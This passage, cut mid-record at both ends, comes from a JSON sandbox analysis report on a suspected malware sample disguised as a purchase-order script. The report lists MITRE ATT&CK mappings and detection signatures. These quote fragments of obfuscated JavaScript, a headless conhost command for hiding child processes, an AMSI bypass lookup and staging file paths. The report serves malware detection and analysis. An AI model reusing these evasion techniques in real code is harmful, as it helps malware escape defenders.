types"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Calls an API typically used to copy file from one location to another"},{"type":"suspicious","value":"Drops a file that contains system information"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"},{"type":"suspicious","value":"References URL in command line"},{"type":"suspicious","value":"Drops a text file that contains suspicious strings (e.g. shell/ActiveX/DOM related)"},{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"file/memory contains long string with (Indicator: \"Aes\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Oid\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"RC2\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-138","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"file/memory contains long string with (Indicator: \"aes\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-57","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to search for patterns of text (possibly credentials) in files","description":"file/memory contains long string with (Indicator: \"findstr \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1552","id":"string-334","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"52);\nvar ihaod = kslevq.charat(1157)+kslevq.charat(1158)+kslevq.charat(1167)+kslevq.charat(1168)+kslevq.charat(1174)+kslevq.charat(1175)+kslevq.charat(1181)+kslevq.charat(1182)+kslevq.charat(1187)+kslevq.charat(1188)+kslevq.charat(1196)+kslevq.charat(1197\", Heuristic match: \"+kslevq.charat(1516)+kslevq.charat(1517)+kslevq.charat(1526)+kslevq.charat(1527)+kslevq.charat(1534)+kslevq.charat(1543)+kslevq.charat(1544)+kslevq.charat(1550)+kslevq.charat(1551)+kslevq.charat(1556)+kslevq.charat(1557)+kslevq.charat(1564)+kslevq.charat(1\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"file/memory contains long string with (Indicator: \"smtp\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071.003","id":"string-499","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to find string content in a file","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-688","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"file/memory contains long string with (Indicator: \"set \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-326","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"New-Object\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.001","id":"string-187","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to delete items (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Remove-Item\"; Source: \"00000000-00000412.00000000.122181.419A9000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-333","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to mask child processes from sight using conhost","description":"Found string \"%WINDIR%\\System32\\conhost.exe --headless -- %WINDIR%\\System32\\cmd.exe /c call \"%LOCALAPPDATA%\\Microsoft\\Window\" (Source: \"00000000-00008040-00000BC1-964580824\")","origin":"File/Memory","mitre_attack_id":"T1202","relevance":1,"id":"string-734","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00001708)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00001708)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00001708)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00001708)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '2727809581057', 'hResInfo': '2727809582304'}\" (UID: 00000000-00001708)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2727809581057', 'hResInfo': '2727809582336'}\" (UID: 00000000-00001708)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2727809581057', 'hResInfo': '2727809582352'}\" (UID: 00000000-00001708)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2727809581057', 'hResInfo': '2727809582320'}\" (UID: 00000000-00001708)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"cmd.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"cmd.exe\" set its error mode to SEM_FAILCRITICALERRORS\n \"powershell.exe\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","mitre_attack_id":"T1562.006","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$22","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"powershell.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00000412.00000000.122181.9A3C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptExportKey\" (Indicator: \"CryptExportKey\"; Source: \"00000000-00001708.00000000.121766.36350000.00000004.mdmp\")\n Found api reference \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00001708.00000000.121766.36350000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00001708.00000000.121766.36350000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00000412.00000000.122181.9A3C0000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00000412.00000000.122181.9A440000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00000412.00000000.122181.26DA0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00001708.00000000.121766.1BF30000.00000004.mdmp, 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: The input file contains long Base64 encoded strings\n Matched sigs: YARA signature match - PowerShell with Base64 encoding","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$23","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access file/directory","description":"file/memory contains long string with (Indicator: \"mkdir \"; File: \"imm_compose_XMRVLCRBh.cmd\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-779","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001708-00000C2C-900056915\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001708-00000C2C-900471615\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001708-00000C2C-900056915\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001708-00000C2C-900471615\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00001708-00000C2C-899584349\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00001708-00000C2C-899584514\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001708-00000C2C-900772668\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001708-00000C2C-900772692\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00001708-00000C2C-900447000\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00001708-00000C2C-900447038\")\n Found reference to API \"ystem.ServiceModel.Activities.Configuration.SendMessageChannelCacheElement, System.ServiceModel.Activities, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\" (Indicator: \"sendmessage\"; Source: \"00000000-00000412.00000000.122181.29350000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00001708)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"cmd.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005420)\n \"cmd.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00007724)\n \"powershell.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00001708)\n \"powershell.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00001708)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"cmd.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00005420)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"1708\" - (UID: 00000000-00001708)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"412\" - (UID: 00000000-00000412)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"8040\" - (UID: 00000000-00008040)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00001708)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00000412)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00008040)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001708)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$24","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$25","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00001708)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00001708)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00000412)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00000412)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00008040)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00008040)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00001708)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00000412)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00008040)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$26","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"cmd.exe\" queries volume information of an entire harddrive\"C:\\\" at 00000000-00005420-00000C17-897740425","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"DONTUSEDESKTOPCHANGEROUTER\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to access recent files","description":"\"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\KO3YYMRSPCNWAGYXECBG.temp\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1d225f.TMP\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-169","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00000412.00000000.122181.12362000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$27","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00001708)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00000412)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00008040)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"powershell.exe\" called \"CopyFileW\" to copy C:\\NewPO230824312.js.bat to new location %LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\imm_compose\\imm_compose.cfg (UID: 00000000-00008040)\n \"powershell.exe\" called \"CopyFileW\" to copy %LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\imm_compose\\imm_compose.cfg to new location %LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\imm_compose\\imm_compose_OQPMGLCI.cmd (UID: 00000000-00008040)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"powershell.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\imm_compose (UID: 00000000-00008040)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$28","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"cmd.exe\" called \"NtCreateNamedPipeFile\" with parameter 